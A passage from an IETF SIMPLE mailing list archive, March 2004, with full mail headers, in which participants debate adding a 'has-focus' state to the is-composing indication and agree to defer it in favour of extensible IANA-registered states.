	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21869
	for <simple@ietf.org>; Wed, 10 Mar 2004 01:20:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x4m-0007Ku-00
	for simple@ietf.org; Wed, 10 Mar 2004 01:20:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0x3r-0007Bn-00
	for simple@ietf.org; Wed, 10 Mar 2004 01:19:24 -0500
Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x3U-00072C-00
	for simple@ietf.org; Wed, 10 Mar 2004 01:19:00 -0500
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2A6ITM7014393;
	Tue, 9 Mar 2004 22:18:29 -0800 (PST)
Received: from [10.0.1.3] (rtp-vpn1-53.cisco.com [10.82.224.53])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ANB80123;
	Tue, 9 Mar 2004 22:18:28 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] is-composing: has-focus?
From: Cullen Jennings <fluffy@cisco.com>
To: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: <simple@ietf.org>
Message-ID: <BC73F261.34B84%fluffy@cisco.com>
In-Reply-To: <404D9CF2.9010801@cs.columbia.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 22:14:57 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


There are a lot of types of focus in a UI. It could be keyboard focus, mouse
focus, window frame was in foreground, the virtual desktop was in focus, the
voice recognition stuff was in focus, the gesture recognition system was in
focus for this window. Hmm, the combination of gesture recognition and
emoticons is quite interesting now that I think about it.

Seriously, I think that focus is how the window system abstracts the
application from knowing about what devices it is currently has and giving
the application the virtual impression that it has access to all the human
interface devices. Breaking this abstraction is generally bad. Making
protocol explicitly require application to break this abstraction does not
seem good. 

Providing a fuzzy metric of how much the user is paying attention to this
application might be a good idea but has a lot of issues ranging from how
would the application compute this to what policies would be used to reveal
it. 

Cullen





On 3/9/04 2:31 AM, "Henning Schulzrinne" <hgs@cs.columbia.edu> wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>> Firstly, "has-focus" is probably a bad name, since its dangerously close
>> to "is-focus" which means something entirely different in the SIP
>> specifications...
> 
> We have another "session" word :-)
> 
>> 
>> Secondly, does this really provide useful information? Just because the
>> window doesnt have focus doesnt mean I'm not paying attention. Indeed, I
>> frequently look at another window while a user is typing to me (often
>> another IM conversation). Or, to ask more concretely, how would a user
>> change their behavior in knowing that my IM window didnt have focus?
> 
> Probably mostly the converse: if the IM application doesn't have focus
> and I don't get any response, it may well be that my counterpart is
> distracted.
> 
> The problem is similar to <idle>: it's an observation that approximates
> an unobservable reality. A long idle time may just mean that you're
> reading next to your PC, but it might also explain why you're not answering.
> 
> One possible generic solution is to define an 'interaction state'
> variable and allow multiple values, including 'composing' and
> 'out-of-focus'.
> 
> I doubt this is the most important feature in IM systems, but it would
> be much harder to add later than now, so I'd rather settle this now.
> 
> Henning
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 10 10:37:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15871
	for <simple-archive@ietf.org>; Wed, 10 Mar 2004 10:37:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15mO-0005vV-00
	for simple-archive@ietf.org; Wed, 10 Mar 2004 10:37:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B15lP-0005jr-00
	for simple-archive@ietf.org; Wed, 10 Mar 2004 10:36:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15kw-0005ZH-00; Wed, 10 Mar 2004 10:36:26 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B15gw-0005pg-0O; Wed, 10 Mar 2004 10:32:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B15gR-0005oy-WE
	for simple@optimus.ietf.org; Wed, 10 Mar 2004 10:31:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15559
	for <simple@ietf.org>; Wed, 10 Mar 2004 10:31:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15gF-0004qQ-00
	for simple@ietf.org; Wed, 10 Mar 2004 10:31:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B15fG-0004dm-00
	for simple@ietf.org; Wed, 10 Mar 2004 10:30:35 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15eF-0004Lw-00
	for simple@ietf.org; Wed, 10 Mar 2004 10:29:31 -0500
Received: from dynamicsoft.com ([63.113.46.68])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2AFSrNr015895;
	Wed, 10 Mar 2004 10:28:53 -0500 (EST)
Message-ID: <404F3429.8020305@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu>
In-Reply-To: <404D9CF2.9010801@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 10:28:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:


> I doubt this is the most important feature in IM systems, but it would 
> be much harder to add later than now, so I'd rather settle this now.
> 
> Henning
> 

Why is it harder to add later? We should make sure there are hooks for 
future states, and then we can do it down the road if it proves important.

Given such hooks, in the interests of focusing on a well-scoped and 
well-understood problem, I would suggest not trying to tackle this now. 
Cullen raises a lot of questions which indicate that an unambiguous 
definition of focus might be harder to write down than it would seem.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 10 10:38:48 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15989
	for <simple-archive@odin.ietf.org>; Wed, 10 Mar 2004 10:38:48 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B15mk-0006G8-MS
	for simple-archive@odin.ietf.org; Wed, 10 Mar 2004 10:38:19 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2AFcFcB024003
	for simple-archive@odin.ietf.org; Wed, 10 Mar 2004 10:38:15 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B15mg-0006Bg-UM
	for simple-web-archive@optimus.ietf.org; Wed, 10 Mar 2004 10:38:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15888
	for <simple-web-archive@ietf.org>; Wed, 10 Mar 2004 10:37:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15mP-0005vb-00
	for simple-web-archive@ietf.org; Wed, 10 Mar 2004 10:37:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B15lP-0005jz-00
	for simple-web-archive@ietf.org; Wed, 10 Mar 2004 10:36:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15kw-0005ZH-00; Wed, 10 Mar 2004 10:36:26 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B15gw-0005pg-0O; Wed, 10 Mar 2004 10:32:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B15gR-0005oy-WE
	for simple@optimus.ietf.org; Wed, 10 Mar 2004 10:31:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15559
	for <simple@ietf.org>; Wed, 10 Mar 2004 10:31:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15gF-0004qQ-00
	for simple@ietf.org; Wed, 10 Mar 2004 10:31:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B15fG-0004dm-00
	for simple@ietf.org; Wed, 10 Mar 2004 10:30:35 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B15eF-0004Lw-00
	for simple@ietf.org; Wed, 10 Mar 2004 10:29:31 -0500
Received: from dynamicsoft.com ([63.113.46.68])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2AFSrNr015895;
	Wed, 10 Mar 2004 10:28:53 -0500 (EST)
Message-ID: <404F3429.8020305@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu>
In-Reply-To: <404D9CF2.9010801@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 10:28:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:


> I doubt this is the most important feature in IM systems, but it would 
> be much harder to add later than now, so I'd rather settle this now.
> 
> Henning
> 

Why is it harder to add later? We should make sure there are hooks for 
future states, and then we can do it down the road if it proves important.

Given such hooks, in the interests of focusing on a well-scoped and 
well-understood problem, I would suggest not trying to tackle this now. 
Cullen raises a lot of questions which indicate that an unambiguous 
definition of focus might be harder to write down than it would seem.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 10 21:21:04 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20915
	for <simple-archive@ietf.org>; Wed, 10 Mar 2004 21:21:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Fom-0005A6-00
	for simple-archive@ietf.org; Wed, 10 Mar 2004 21:21:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Fnp-00050X-00
	for simple-archive@ietf.org; Wed, 10 Mar 2004 21:20:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Fn0-0004sl-00; Wed, 10 Mar 2004 21:19:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Fmm-0000Mo-W1; Wed, 10 Mar 2004 21:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Flu-0000Hi-GK
	for simple@optimus.ietf.org; Wed, 10 Mar 2004 21:18:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20881
	for <simple@ietf.org>; Wed, 10 Mar 2004 21:18:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Flr-0004jJ-00
	for simple@ietf.org; Wed, 10 Mar 2004 21:18:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Fkv-0004c4-00
	for simple@ietf.org; Wed, 10 Mar 2004 21:17:05 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Fkg-0004Up-00
	for simple@ietf.org; Wed, 10 Mar 2004 21:16:50 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2B2FPNB020794;
	Wed, 10 Mar 2004 21:15:25 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2B2FPC02416;
	Wed, 10 Mar 2004 21:15:25 -0500
Message-ID: <404FCBBD.4080706@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com>
In-Reply-To: <404F3429.8020305@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 21:15:25 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

We can indeed add more states later, but then probably should change the 
current schema to use an IANA-registered string, not the token list 
that's in the current schema. I'll make that change and allow for 
additional states in the text, as the has-focus state suggestion seems 
to be both insufficiently specified and insufficiently important to 
further discuss at this point.

Henning

Jonathan Rosenberg wrote:

> 
> 
> Henning Schulzrinne wrote:
> 
> 
>> I doubt this is the most important feature in IM systems, but it would 
>> be much harder to add later than now, so I'd rather settle this now.
>>
>> Henning
>>
> 
> Why is it harder to add later? We should make sure there are hooks for 
> future states, and then we can do it down the road if it proves important.
> 
> Given such hooks, in the interests of focusing on a well-scoped and 
> well-understood problem, I would suggest not trying to tackle this now. 
> Cullen raises a lot of questions which indicate that an unambiguous 
> definition of focus might be harder to write down than it would seem.
> 
> -Jonathan R.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 10 21:21:38 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20966
	for <simple-archive@odin.ietf.org>; Wed, 10 Mar 2004 21:21:38 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Fos-0000Zy-AO
	for simple-archive@odin.ietf.org; Wed, 10 Mar 2004 21:21:10 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2B2LA76002223
	for simple-archive@odin.ietf.org; Wed, 10 Mar 2004 21:21:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Fos-0000Zm-0t
	for simple-web-archive@optimus.ietf.org; Wed, 10 Mar 2004 21:21:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20933
	for <simple-web-archive@ietf.org>; Wed, 10 Mar 2004 21:21:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Fop-0005AR-00
	for simple-web-archive@ietf.org; Wed, 10 Mar 2004 21:21:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Fnq-00050h-00
	for simple-web-archive@ietf.org; Wed, 10 Mar 2004 21:20:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Fn0-0004sl-00; Wed, 10 Mar 2004 21:19:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Fmm-0000Mo-W1; Wed, 10 Mar 2004 21:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Flu-0000Hi-GK
	for simple@optimus.ietf.org; Wed, 10 Mar 2004 21:18:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20881
	for <simple@ietf.org>; Wed, 10 Mar 2004 21:18:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Flr-0004jJ-00
	for simple@ietf.org; Wed, 10 Mar 2004 21:18:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Fkv-0004c4-00
	for simple@ietf.org; Wed, 10 Mar 2004 21:17:05 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Fkg-0004Up-00
	for simple@ietf.org; Wed, 10 Mar 2004 21:16:50 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2B2FPNB020794;
	Wed, 10 Mar 2004 21:15:25 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2B2FPC02416;
	Wed, 10 Mar 2004 21:15:25 -0500
Message-ID: <404FCBBD.4080706@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com>
In-Reply-To: <404F3429.8020305@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 21:15:25 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

We can indeed add more states later, but then probably should change the 
current schema to use an IANA-registered string, not the token list 
that's in the current schema. I'll make that change and allow for 
additional states in the text, as the has-focus state suggestion seems 
to be both insufficiently specified and insufficiently important to 
further discuss at this point.

Henning

Jonathan Rosenberg wrote:

> 
> 
> Henning Schulzrinne wrote:
> 
> 
>> I doubt this is the most important feature in IM systems, but it would 
>> be much harder to add later than now, so I'd rather settle this now.
>>
>> Henning
>>
> 
> Why is it harder to add later? We should make sure there are hooks for 
> future states, and then we can do it down the road if it proves important.
> 
> Given such hooks, in the interests of focusing on a well-scoped and 
> well-understood problem, I would suggest not trying to tackle this now. 
> Cullen raises a lot of questions which indicate that an unambiguous 
> definition of focus might be harder to write down than it would seem.
> 
> -Jonathan R.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 00:03:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27191
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 00:03:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1ILc-0005mg-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 00:03:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IKe-0005dv-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 00:02:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IJe-0005SG-00; Thu, 11 Mar 2004 00:01:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IJZ-0001ht-N8; Thu, 11 Mar 2004 00:01:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IIq-0001gp-BC
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 00:00:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27141
	for <simple@ietf.org>; Thu, 11 Mar 2004 00:00:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IIn-0005O8-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:00:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1II2-0005G5-00
	for simple@ietf.org; Wed, 10 Mar 2004 23:59:27 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IHT-00055o-00
	for simple@ietf.org; Wed, 10 Mar 2004 23:58:51 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B4wTNr016486;
	Wed, 10 Mar 2004 23:58:30 -0500 (EST)
Message-ID: <404FF1EA.6030000@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95EC@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C95EC@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
